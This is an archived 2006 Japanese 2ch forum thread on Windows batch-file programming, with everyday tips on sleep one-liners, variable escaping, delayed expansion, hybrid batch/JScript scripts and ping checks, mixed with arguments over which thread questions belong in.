2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

バッチファイルプログラミング 3.bat

1 :デフォルトの名無しさん:2006/05/25(木) 00:45:55
前スレ
バッチファイルプログラミング 2.bat
http://pc8.2ch.net/test/read.cgi/tech/1104911889/

関連スレ
初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
http://pc8.2ch.net/test/read.cgi/win/1116131036/
MS-DOS・Win3.1総合スレッド
http://pc8.2ch.net/test/read.cgi/win/1025462258/
WSH(・∀・)スレッド!
http://pc8.2ch.net/test/read.cgi/tech/1055075469/

バッチファイルプログラミングとは・・・・
・ファイル拡張子が ".bat"
・複数のコマンドを使い、実行させるバッチファイルを作る
を満たせばOK!

2 :デフォルトの名無しさん:2006/05/25(木) 00:55:29
2get zusa

3 :デフォルトの名無しさん:2006/05/25(木) 01:16:20
        ___
    /´. _, -―-、ヽ、
  ./  l´[☆ィTfヘマ、 ヽ
 |  | |ィケリノ |ト}!l|
 | _| レァ予  伝yリ|    ,..、
  | fr| 《{_丿   Ljハ‖  _,ノ/`il  / / 、``_ .┼┐
  | ゞ||'''  r‐ァ`,ツイイ´  ハ il   /   |     / /
 |  | 「`}T 云'I「|{ {::::{   V リ  \
 || N {`ヾー弋イノ`衣√`ヾノ
  从 |、



4 :デフォルトの名無しさん:2006/05/25(木) 09:02:15

> 982:デフォルトの名無しさん [sage] :2006/05/22(月) 10:42:33
>  もう次スレは建てる必要ないよね?
>
> 983:デフォルトの名無しさん [sage] :2006/05/22(月) 13:30:37
>  といっても、勘違いに踊らされて立てる子が必ず居ると予測。
>  いつでも踊り手に事欠かないのが2chだからなw

踊り手、乙


5 :デフォルトの名無しさん:2006/05/25(木) 15:02:16
echo off

6 :デフォルトの名無しさん:2006/05/25(木) 15:30:30

> バッチファイルプログラミングとは・・・・
> ・ファイル拡張子が ".bat"
> ・複数のコマンドを使い、実行させるバッチファイルを作る
> を満たせばOK!

>>1の個人意見がこのスレの趣旨になるわけはない。
これは偶々>>1に書かれているだけで、スレの中に埋もれる数多くの狂った個人意見の一つ。
このスレの趣旨は引き続き前スレと同じなのでよろしく。

7 :デフォルトの名無しさん:2006/05/25(木) 15:39:59
>3
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ


8 :デフォルトの名無しさん:2006/05/25(木) 15:40:56
>>6-7
荒らしキタ━━━━━━(゚∀゚)━━━━━━ !!!!!

9 :デフォルトの名無しさん:2006/05/25(木) 17:44:24
>>6
じゃあ、その趣旨に沿ったスレ立ててそっちでやれば?

10 :デフォルトの名無しさん:2006/05/25(木) 18:40:21
間違ってここに質問に来るやつがかわいそう。
他の板にちゃんとしたスレがあるのに

11 :デフォルトの名無しさん:2006/05/25(木) 22:59:01
>>9
ここがそのスレだから問題なし。
前スレから趣旨変えしたければ、変えたい奴がスレタイも変えるべき。

12 :デフォルトの名無しさん:2006/05/25(木) 23:11:36
さいですか

13 :デフォルトの名無しさん:2006/05/25(木) 23:18:04
どうしても自分を通さなければ納得できない頑固者が住み着くと
どうしようもないですね。

>>11
で、お前が前スレか前々スレの1か?
そうならば、そうと自己申告した方がいいぞ。
関係ないなら、このスレの1の主張に従うべきだ。

14 :デフォルトの名無しさん:2006/05/26(金) 22:35:08
>>13
どうしたの?

15 :デフォルトの名無しさん:2006/05/27(土) 21:38:38
>>13
ぬるぽ?

16 :デフラグさん ◆mRgSYalFkQ :2006/05/28(日) 16:52:14

  [ ゚д゚]y-一~~~~ >>15ノデフラグガッカンリョウシマシタ
 ノ[ ヘ ヘ
13>>?ぬぽる

17 :デフォルトの名無しさん:2006/06/06(火) 18:17:06
バッチスレ出だしから殺伐しててしびれるぜ
俺がバッチのアウトローさを知ったのは

type %0 >> %0

これは他じゃ味わえない、何かもっとありそうだ

18 :デフォルトの名無しさん:2006/06/06(火) 22:43:57
>>17
スレ違い
> ・複数のコマンドを使い、実行させるバッチファイルを作る
を満たしていない




とレスしてさらに殺伐とさせてみようと思ったがやめた

19 :デフォルトの名無しさん:2006/06/06(火) 22:48:58
>>18
ww

20 :デフォルトの名無しさん:2006/06/06(火) 22:52:24
>>18
やめたと言いつつw

21 :デフォルトの名無しさん:2006/06/08(木) 07:07:41
質問ここでいいの?
空白を含む可能性のある任意のパスにある実行ファイルabc.exeのパスを取得し、環境変数に代入するにはどうすればいいですか?


22 :デフォルトの名無しさん:2006/06/08(木) 08:28:36
質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
http://pc8.2ch.net/test/read.cgi/win/1116131036/

> DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
> wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
> コマンドラインインタフェースに関するネタならなんでもOK。

23 :デフォルトの名無しさん:2006/06/08(木) 12:40:37
>>22
しつこく貼ると通報するぞ

24 :デフォルトの名無しさん:2006/06/08(木) 19:50:00
どこへ?

25 :デフォルトの名無しさん:2006/06/08(木) 21:41:01
脳内通報
現実には何もしない、何もおこらないw

26 :デフォルトの名無しさん:2006/06/09(金) 05:09:55
_________K仲川について Part10____________
http://net-tv.ddo.jp/bbs/sure/test/read.php/gabbs/1147878262/l50

【初めて仲川勝彦(K仲川)と仕事する方へ】
http://pc8.2ch.net/test/read.cgi/prog/1149580345/l50

          †         
http://pc8.2ch.net/test/read.cgi/prog/1111407459/l50


27 :デフォルトの名無しさん:2006/06/10(土) 11:09:41
デスクトップ上のマウスカーソルをバックグラウンドな砂時計に変える方法ないですかね。

setcursor hourglass
... 重い処理 ...
setcursor default

みたいな感じで

28 :デフォルトの名無しさん:2006/06/10(土) 11:14:25
>>27

>>22-25

29 :デフォルトの名無しさん:2006/06/10(土) 20:38:13
>>27
まさしくそのsetcursorみたいなプログラムを作ればいい。
そのプログラムについての質問はスレ違い。

30 :デフォルトの名無しさん:2006/07/01(土) 11:56:44
コマンドプロンプトの/?や/hを日本語化するにはどうすればいいですかね?

31 :デフォルトの名無しさん:2006/07/01(土) 12:14:05
質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
http://pc8.2ch.net/test/read.cgi/win/1116131036/

> DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
> wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
> コマンドラインインタフェースに関するネタならなんでもOK。

32 :デフォルトの名無しさん:2006/07/01(土) 14:44:23
>>31
了解ー

33 :デフォルトの名無しさん:2006/07/01(土) 18:22:42
>>31
>>23

34 :デフォルトの名無しさん:2006/07/01(土) 18:25:37
>>33
>>24

35 :デフォルトの名無しさん:2006/07/01(土) 20:06:48
>>34
>>25

36 :デフォルトの名無しさん:2006/07/06(木) 14:54:20


37 :デフォルトの名無しさん:2006/08/04(金) 20:01:36
いやなやつが多いこのスレは過疎って死にました・・

38 :デフォルトの名無しさん:2006/08/10(木) 19:27:10
まあとりあえず

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/

39 :デフォルトの名無しさん:2006/08/11(金) 08:48:23
テンプレも修正


22 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 08:28:36
質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/

> DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
> wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
> コマンドラインインタフェースに関するネタならなんでもOK。

23 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 12:40:37
>>22
しつこく貼ると通報するぞ

24 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 19:50:00
どこへ?

25 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 21:41:01
脳内通報
現実には何もしない、何もおこらないw

40 ::2006/08/16(水) 00:18:15
粘着しか脳のない奴(プゲラ

41 :デフォルトの名無しさん:2006/09/26(火) 21:00:10
実行中にcmdの窓を最小化させる方法はないですか?

42 :デフォルトの名無しさん:2006/09/26(火) 21:55:24
プログラミングと関係ない質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/

43 :デフォルトの名無しさん:2006/09/27(水) 05:08:51
>>42

>>23-25

44 :デフォルトの名無しさん:2006/09/27(水) 06:33:29
23だけでなく23-25まで貼るってことは、42を非難しているのではなく支持しているってことだよね。

45 :デフォルトの名無しさん:2006/10/20(金) 01:14:55
age失礼します。

FOR /F 〜にて、DELIMSにTABを指定する際に、
見た目のスペースを別の文字に置き換えることって可能でしょうか?
例えば "DELIMS=[TAB]" を "DELIMS=\t" のようにするなど。

46 :デフォルトの名無しさん:2006/10/20(金) 01:20:18
不可能だけど、何か?
エディタの方でいくらでも対応可能だし。

47 :デフォルトの名無しさん:2006/10/20(金) 01:21:30
>>46さん
エディタの方で対応可能というのはどういうことでしょうか?

48 :デフォルトの名無しさん:2006/10/21(土) 11:07:03
こっちで質問した方がいいよ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/

49 :46:2006/10/22(日) 05:35:42
>>48さん
ありがとうございます。
そちらで聞いてみます。

50 :デフォルトの名無しさん:2006/10/26(木) 14:39:53
サービスを○秒まってから起動する
にはどうしたら良いでしょうか?

サービスの起動方法は分かるのですが、
○秒まってからが分かりません。

51 :デフォルトの名無しさん:2006/10/26(木) 14:56:34
CygwinとかのSleepコマンドを拾ってくるかpingで代用
rem 5秒待ち
ping localhost -n 5 >NUL

52 :デフォルトの名無しさん:2006/10/26(木) 16:20:27
純正sleep.exe
ttp://www.microsoft.com/downloads/details.aspx?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&DisplayLang=en


53 :デフォルトの名無しさん:2006/10/26(木) 16:25:07
そういうのインストールするぐらいなら
バッチじゃなくてちゃんとしたプログラム使った方がいい。

54 :デフォルトの名無しさん:2006/10/26(木) 17:34:44
そんなのどうでもいいがな

55 :デフォルトの名無しさん:2006/10/26(木) 18:38:19
>>50
そういう話はこっちのが詳しい ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/

56 :デフォルトの名無しさん:2006/10/26(木) 18:51:09
最近、その話に乗って、あっちに行ったひとが居るが、
あっちの回答より、こっちの回答のほうが、よかったような。。。
可哀そうに。


57 :デフォルトの名無しさん:2006/10/26(木) 19:08:26
>>51
残念それは4秒だ

58 :デフォルトの名無しさん:2006/10/26(木) 19:42:18
もうアホのアスペ患者君はスルーしとけ

59 :デフォルトの名無しさん:2006/10/26(木) 21:16:52
>>53
インストールというより、解凍して
パスの通るフォルダにつっこんでやるだけのような・・・。

60 :デフォルトの名無しさん:2006/10/26(木) 21:24:56
それプログラミングの話か?

61 :デフォルトの名無しさん:2006/10/26(木) 22:05:53
プログラミングの素材の話でしょ。
プログラミングのスレでプログラミングの素材の話をしてなんか悪いの?


62 :デフォルトの名無しさん:2006/10/26(木) 22:06:46
もうアホのアスペ患者君はスルーしとけ

63 :デフォルトの名無しさん:2006/10/26(木) 22:25:58
こんな話ならいいのかな?

前スレ
>902 名前: デフォルトの名無しさん 2006/04/24(月) 07:42:09
>echoで表示される位置をひとつ上に移動する方法ありますか。
>:loop
>echo %date%
>ひとつ上に移動
>goto loop
>こんな感じで使いたいんです

:loop
set /p x=^h^h^h^h^h^h^h^h^h^h%date%<NUL
goto loop

^hはback spaceに置き換えて。
テストしてないので、数は調整してください。


64 :デフォルトの名無しさん:2006/10/26(木) 22:42:46
このスレは本スレに誘導するためだけに存在するんだけど

65 :デフォルトの名無しさん:2006/10/26(木) 23:42:29
では、誘導のために、ネタを。

前スレ
>758 名前: デフォルトの名無しさん 2006/02/12(日) 21:40:36
>バッチの機能だけで実現するのは面倒だからバッチファイルに
>JScriptを埋め込んでみました。JScriptでfoo.txtというテキスト
>ファイルを読んで, set文が何行か並んだバッチsetenv.batを
>作ってそれをcallしてます。
>@if (0==1) rem
>@echo off
>cscript.exe //nologo //e:jscript %0 >> setenv.bat
>goto exit
>@else
>// ここからJScript
>// ここまでJScript
>@end/*
>:exit
>:*/

をすっきりスリムに。

@if(0==1) REM
@CScript.exe //NoLogo /E:JScript %0
@GOTO :EOF
@end
WScript.Echo(1);


66 :デフォルトの名無しさん:2006/10/27(金) 15:35:23
rubyなら

@echo off
ruby -x %0
goto :eof

#!ruby
puts "hello"
__END__

67 :デフォルトの名無しさん:2006/10/27(金) 17:33:54
新作の2行sleepはいかが?

ECHO CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName:WScript.Sleep WScript.Arguments.Item(0)*1000 >-
CScript.exe //NoLogo //E:VBS - 5


68 :デフォルトの名無しさん:2006/10/27(金) 19:10:27
1行sleepで5秒(以上かかる)sleep
mshta.exe "about:<hta:application id="h" windowstate="minimize"/><script>setTimeout('close()',1e3*h.commandLine.split(/\s/).pop())</script>" 5

69 :デフォルトの名無しさん:2006/10/30(月) 23:28:55
rename、特に、新ファイル名のワイルドカードについての情報ありませんか。
例えば、*abc.extとすると、後方から探してaがあると、そこからabc.ext、
なければ、後ろに追加となるみたいです。


70 :デフォルトの名無しさん:2006/10/31(火) 05:15:34
>>69
別にrenameの場合の特例って無いよ。普通通り。

71 :デフォルトの名無しさん:2006/10/31(火) 12:46:38
>>70
誘導先スレ
初心者〜管理者まで必読!コマンドライン(DOS Pt.4)

>712 :名無し~3.EXE:2006/04/18(火) 17:15:24 ID:BZjMm8ki
>aho_ABC_baka.txt, ihi_ABC_ufu.jpg, ehe_ABC_oho.c, ...
>みたいに、ファイル名に一部を含むファイルがたくさんあって、
>それをすべて ABC → DEF のように変更したいのですが、
>ren *_ABC_* *_DEF_*
>とすると、
>aho_ABD_DEF_.txt, ihi_ABC_DEF_.jpg, ehe_ABC_DEF_.c
>となってしまいます。なぜですか?
という記事があったので、試してみたら、確かにそうなります。
これはどういう理屈でしょう?


72 :デフォルトの名無しさん:2006/11/03(金) 22:04:30
質問じゃないので、こっちのスレなのかな?

こんなのは如何でしょう?

FORコマンドでエクスプローラで選択したファイル群を処理する.CMD

@if(0)==(0) ECHO OFF
FOR /F "delims=" %%0 IN ('CScript.exe //NoLogo /E:JScript "%~f0"') DO ECHO "%%0"
GOTO :EOF
@end
var ie=new ActiveXObject('Shell.Application').Windows().Item();
if(ie){
var FolderItems=ie.Document.SelectedItems();
if(FolderItems){
for(var k=0;k<FolderItems.Count;k++) WScript.Echo(FolderItems.Item(k).Path);
}
}


73 :デフォルトの名無しさん:2006/11/03(金) 22:17:51
完全にスレ違い

74 :デフォルトの名無しさん:2006/11/04(土) 22:52:54
ひょっとして、.CMDは駄目?
じゃ、
FORコマンドでエクスプローラで選択したファイル群を処理する.BAT
に変更。


75 :デフォルトの名無しさん:2006/11/04(土) 23:00:35
>>74
何でもありのこっちのスレへ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。

76 :デフォルトの名無しさん:2006/11/04(土) 23:09:47
>>74
いいんでないの。

Win 9x系で動作しないバッチは .cmd にするのが好き

77 :デフォルトの名無しさん:2006/11/04(土) 23:35:12
.BATはMS-DOS バッチ ファイルだけど、
.CMDはWindows NT コマンド スクリプトなのね。


78 :デフォルトの名無しさん:2006/11/09(木) 00:33:17
UNIXでいう echo "\$HOME" 見たいなことをしたいんですけど、
コマンドプロンプトで環境変数の展開を抑制してコマンドに渡すのってどうするの?

echo "%DATE%"
echo "\%DATE\%"
echo "%%DATE%%"

とかやってみたんですけど全部展開されてしまいます。。。

79 :デフォルトの名無しさん:2006/11/09(木) 00:39:34
>>78
BATファイルの中に書くなら
echo %%DATE%%
でおk

cmd.exeのコマンドラインなら ^ でエスケープ
echo ^%DATE^%

"" でくくりたいなら
echo ^"^%DATE^%^"


80 :デフォルトの名無しさん:2006/11/09(木) 01:34:15
コマンドプロンプトでは、
echo ^%DATE%
は置換されるけど、
echo %DATE^%
echo %^DATE%
は置換されない。

構文解析の順序で、DATE^や^DATEという変数がないと思ってるみたい。


81 :デフォルトの名無しさん:2006/11/09(木) 06:18:18
コマンドプロンプトの使い方=パソコンの使い方だろ

82 :デフォルトの名無しさん:2006/11/09(木) 10:39:36
set "DATE^=bbb"
とすれば
echo ^%DATE^%
は置換されます。

%^DATE%や%^D^A^T^E^%なども置換されにくい。

逆に
SET p=%
echo %p%DATE%p%
なんてやると大丈夫みたい。


83 :デフォルトの名無しさん:2006/11/09(木) 10:52:35
コマンドプロンプトのことならここへ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。

84 :デフォルトの名無しさん:2006/11/09(木) 11:31:20
コマンドプロンプトも
(
echo echo hoge
echo exit
)|cmd
とやればコマンドスクリプト!


85 :デフォルトの名無しさん:2006/11/10(金) 15:02:57
""で括る場合は、
ECHO "%^DATE%"
とすると、^が"でエスケープされて、
"%^DATE%"
となるので、
ECHO ^"%^DATE%"
のように、奇数番目の"の前に^を付けます。
以降の^が"でエスケープされなくなります。


86 :デフォルトの名無しさん:2006/11/12(日) 16:56:14
訂正
>ECHO ^"%^DATE%"
>のように、奇数番目の"の前に^を付けます。
>以降の^が"でエスケープされなくなります。

ECHO ^"%^DATE%^"
^"〜^"で^がエスケープされなくなります。


87 :デフォルトの名無しさん:2006/11/15(水) 00:10:13
バッチファイルで起動しているアプリケーションの
プロセス名を取得するにはどのようにすれば良いでしょうか?

88 :87:2006/11/15(水) 00:12:51
osはWINDOWS2000とXPになります
よろしくお願いします

89 :デフォルトの名無しさん:2006/11/15(水) 00:18:13
>>87
MEM

90 :デフォルトの名無しさん:2006/11/15(水) 10:02:26
WindowsやDOSの使い方の質問はここへ ↓

Windows
http://pc8.2ch.net/win/

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。

91 :デフォルトの名無しさん:2006/11/15(水) 12:14:00
バッチファイルを使用して同じLANネットワークに接続されている
別のPCでDOSコマンドを実行したいと思っています。
どのようなコマンドで実現出来ますでしょうか?
OSはwindows2000になります。ご教授ください<(_ _)>

92 :デフォルトの名無しさん:2006/11/15(水) 12:20:41
バッチからDOSコマンド呼ぶだけじゃプログラミングとは呼ばない。

93 :デフォルトの名無しさん:2006/11/15(水) 12:22:30
プログラミング以前のDOSコマンドの質問はここへ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。

94 :デフォルトの名無しさん:2006/11/15(水) 14:02:25
>>87
2k tlist.exe
xp tasklist.exe


95 :デフォルトの名無しさん:2006/11/15(水) 14:10:31
初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/108
>xcopyのコマンドでコピー先に既にあるファイルはコピーしない とするにはどうしたらいいでしょうか?

使用法: FindNotExistsCp.CMD コピー元ディレクトリ コピー先ディレクトリ

@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
FOR %%0 IN (%1) DO (
FOR /R %1 %%1 IN (*) DO (
SET x=%%~f1
SET x=!x:%%~f0=%2!
IF NOT EXIST "!x!" (
IF NOT EXIST "!x!\..\*" (
echo MD "!x!\.."
)
echo COPY "%%~f1" "!x!"
)
)
)


96 :デフォルトの名無しさん:2006/11/15(水) 14:34:11
誤爆?

97 :デフォルトの名無しさん:2006/11/15(水) 15:50:19
いや、バッチファイルプログラミングの話だからこっちかなと。

98 :デフォルトの名無しさん:2006/11/15(水) 16:35:45
バッチ内で
SET hoge=%hoge:a=b%
ってやると、hogeがないとき、
hoge=a=b
になります。変な仕様?


99 :デフォルトの名無しさん:2006/11/15(水) 17:12:40
動作はOSによって違ったりするし、そう動いたのならそういう仕様

100 :デフォルトの名無しさん:2006/11/15(水) 17:20:40
その辺はOSの仕様の話だからここへ ↓

Windows
http://pc8.2ch.net/win/

101 :デフォルトの名無しさん:2006/11/15(水) 20:10:15
何だか必死な人がいるねw

102 :デフォルトの名無しさん:2006/11/16(木) 02:21:52
どうせなら、記事の中身に注力してほしいな。


103 :デフォルトの名無しさん:2006/11/24(金) 19:46:18
あっちは下品でやーだ。


104 :デフォルトの名無しさん:2006/12/04(月) 23:11:09
FDのBATファイル作成で、TXTファイルをCドライブの
任意のフォルダにコピーしたいのですが、

copy /y test.txt C:\Downloads\test.txt

だと、Downloadsファイルにコピーされるのですが、
copy /y test.txt C:\Documents and Settings\test.txt

だと、「コマンドの構文が誤っています。」というエラーが
返ってきます。スペースの部分に%を入れたりしてみたのですが、
うまくいきません。

対処法をご存知の方、お知恵をお貸し頂けませんでしょうか。

105 :デフォルトの名無しさん:2006/12/04(月) 23:18:34
ダブルクオーテーションで括れ

106 :デフォルトの名無しさん:2006/12/04(月) 23:35:10
>105
できました!!

ありがとうございます!!


107 :デフォルトの名無しさん:2006/12/05(火) 08:38:30
copyコマンドとかコマンドプロンプトの使い方の質問はここへ ↓

Windows
http://pc8.2ch.net/win/

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

108 :デフォルトの名無しさん:2006/12/06(水) 14:40:13
はいはい

109 :デフォルトの名無しさん:2006/12/11(月) 19:24:36
> http://pc8.2ch.net/test/read.cgi/win/1152544955/558
ローマ字覚えたてのもんで、こっちに来ました。

rem setlocal
set /p random=加える数を入力してください
set /a hoge+=random
set random=

rem setlocal
set /p cd=ディレクトリを入力してください
cd /d %cd%
set cd=


110 :デフォルトの名無しさん:2006/12/11(月) 19:35:03
あっちいけ

111 :デフォルトの名無しさん:2006/12/11(月) 22:18:42
はいはい

112 :デフォルトの名無しさん:2006/12/14(木) 19:39:47
逆に、他人に使われるバッチ内で%CD%や%RANDOM%を使うときは、
念のため環境変数を削除してから使うようにしたほうがいいですね。


113 :デフォルトの名無しさん:2006/12/14(木) 19:46:42
> http://pc8.2ch.net/test/read.cgi/win/1152544955/572
バッチで、標準入出力がコンソールかどうか区別する方法ってあります?

114 :デフォルトの名無しさん:2006/12/15(金) 00:07:16
ageで失礼します。

%TEST1% のような変数の"1"の部分を別途変数にして表現させたいのですが
可能でしょうか?

SET TEST1=AAA
SET CNT=1
この後、%CNT%を使って%TEST1%の値AAAを表示させたいのですが。。
分かりづらくて申し訳ないです。

115 :デフォルトの名無しさん:2006/12/15(金) 00:22:01
MS-DOS ver4 以降のみですが・・・

echo echo %%TEST%CNT%%%>aaa.bat
call aaa.bat

116 :デフォルトの名無しさん:2006/12/15(金) 00:28:13
>>115さん
ありがとうございます。
試してみたのですが、できませんでした。。
結果 %TEST1% となってしまいます。
当方、XPです。

117 :デフォルトの名無しさん:2006/12/15(金) 00:45:55
>>116
%TEST1% という文字列が出力できるなら
それを新しいbatに書き込んで実行するだけだからもう一息だね!



互換性を犠牲wにしてもいいなら遅延環境変数の展開を有効にした方が簡単だけどね。
setlocal enabledelayedexpansion
echo !TEST%CNT%!

118 :デフォルトの名無しさん:2006/12/15(金) 00:57:36
>>117さん
中間ファイルを作らずに実行するには
setlocalしかないですかね。。?


119 :114,116,118:2006/12/15(金) 01:01:37
一応、中間ファイルを作成して実行できました!
できれば中間ファイルを挟まずに実行したいのですが、
setlocal 〜 でうまく出ませんでした。なぜだろう。。

120 :114,116,118:2006/12/15(金) 01:11:39
すみません。
echo | echo %test%cnt%% でいけました。

色々と教えてくれた方、ありがとうございます。
お騒がせしました。

121 :デフォルトの名無しさん:2006/12/15(金) 02:08:57
call echo %%test%cnt%%%


122 :デフォルトの名無しさん:2006/12/15(金) 14:26:54
パイプの右側はサブプロセスで実行されるので、
echo | set hoge=%%test%cnt%%%
とやっても、現プロセスで受け取れませんが、
call set hoge=%%test%cnt%%%
ならok


123 :デフォルトの名無しさん:2006/12/15(金) 14:34:49
ここは本スレへ誘導するためのスレです。

↓↓ ↓本スレはWindows板にあります↓↓ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

124 :デフォルトの名無しさん:2006/12/15(金) 14:48:49
>>117
>遅延環境変数の展開
→環境変数の遅延展開(delayed expansion)


125 :デフォルトの名無しさん:2006/12/15(金) 15:04:06
call :sub echo %%TEST%CNT%%%
goto :eof
:sub
%*

126 :デフォルトの名無しさん:2006/12/15(金) 16:14:57
プログラミングじゃなくてOSの仕様の話だな

127 :デフォルトの名無しさん:2006/12/15(金) 18:13:50
cmd /c echo %%TEST%CNT%%%

お手を煩わせるのはなんなので

123 :デフォルトの名無しさん :2006/12/15(金) 14:34:49
ここは本スレへ誘導するためのスレです。

↓↓ ↓本スレはWindows板にあります↓↓ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

128 :デフォルトの名無しさん:2006/12/15(金) 20:27:09
NGワード:初心者〜管理者まで
NGワード2:必読!コマンドライン

129 :デフォルトの名無しさん:2006/12/15(金) 20:36:32
別にお前のNG設定なんて晒さなくてもいいよ
誰も興味ないからw

130 ::2006/12/15(金) 21:11:20
>>127
このスレを立てたものですが、はっきり言って迷惑です ('A`)
1に書いてある趣旨を外れなければ、バッチファイルプログラミングです。
他のスレがよければ、自分だけでそっちに行ってください。

131 :デフォルトの名無しさん:2006/12/15(金) 21:20:10
本スレあるのに気がつかないとかわいそうだろ

132 :デフォルトの名無しさん:2006/12/15(金) 21:22:43
スレ立てた人も、他の住人も立場的には全く変わらないわけだが。
>>6でも言われてるでしょ。

133 ::2006/12/15(金) 21:54:32
だから他がよければ他に行けって
おまえ一人でさ。
止めはしないよ。

134 :デフォルトの名無しさん:2006/12/15(金) 21:57:09
あれは別に「本」スレじゃないだろ

135 :デフォルトの名無しさん:2006/12/15(金) 22:00:35
バッチ限定でプログラミングだとスレが成り立たない。
実際プログラミングに関係ない話ばっかりだし
ここは廃止でいい。

136 :デフォルトの名無しさん:2006/12/15(金) 22:04:06
はいはい

137 ::2006/12/15(金) 22:05:09
>>82-128
よくみてみろ。
関係ない話をしているのは、誘導スレを連続貼りしてるおまえだけだと思うが。
他は、スレの趣旨に則った質問と回答のレスしかないだろ。

他所が良ければ、他所に行っていいよ。
このスレが嫌なら自分でスレを立てればいい。
とにかく迷惑なんだよ。人の迷惑。

138 :デフォルトの名無しさん:2006/12/15(金) 22:12:44
コマンドプロンプトの使い方とか「板違い」だから
やりたければよその板でやれ

139 ::2006/12/15(金) 22:15:40
>>138
じゃ、正式に手続き取って削除依頼でも出してくればいい。
このスレは3スレ目だが、2スレ目と1スレ目を立てたのは俺じゃない。
それだけ、需要があるんだよ。
嫌がらせしないで、板違いだとおっしゃるなら、どうぞ削除依頼に
出してください。

140 :デフォルトの名無しさん:2006/12/15(金) 22:19:03
>>138
ここはコマンドプロンプトの使い方でなくてバッチファイルプログラムのスレだろ。

141 :デフォルトの名無しさん:2006/12/15(金) 22:53:08
そもさん
ファイルの行数、文字数は如何に?

そもさん
環境変数の値のバイト数、文字数は如何に?

142 :デフォルトの名無しさん:2006/12/15(金) 22:55:10
>>141
あんたは禅宗か

143 :デフォルトの名無しさん:2006/12/15(金) 23:00:58
あれ、禅問答みたいなことやってると思って、つい。

144 :デフォルトの名無しさん:2006/12/16(土) 01:55:18
UNIXのshllだったら、以下の様な記述でPING結果による条件分岐が出来たのですが、
バッチだったらどの様に記述したら良いでしょうか?
if [ `/usr/sbin/ping $HOST_NAME 2>&1 | /usr/bin/awk '{ print $3 }'` = "alive" ]; then
echo "$HOST_NAME is alive"
else
echo "UNKNOWN HOST $HOST_NAME"
fi

何をしたいのかと言えば、サーバにPINGして応答があった場合、
net use \\server1\share1 /user:domain\user01 password01
でサーバに接続して処理する仕組みをバッチファイルに組み込みたいのです。

145 :デフォルトの名無しさん:2006/12/16(土) 05:48:24
>>144

for /f "usebackq delims==" %%i in (`%windir%\System32\ping.exe %HOST_NAME% ^| find /c "(100%% loss)"`) do if "%%i"=="0" (
echo %HOST_NAME% is alive
) else (
echo UNKNOWN HOST %HOST_NAME%
)

もっといい方法はあるかな

146 :デフォルトの名無しさん:2006/12/16(土) 08:00:22
ping結果は、100%% loss だけじゃなくて
unknown host とかunreach・・・とかもあるな。


147 :デフォルトの名無しさん:2006/12/16(土) 08:45:15
>>144
わざわざそんなことしなくても&&のようなもの(shellによるだろうけど)使えば一発じゃないか?
プログラミングを始める前にshellなりコマンドプロンプトの勉強をした方が良いと思われます。

148 :デフォルトの名無しさん:2006/12/16(土) 09:18:51
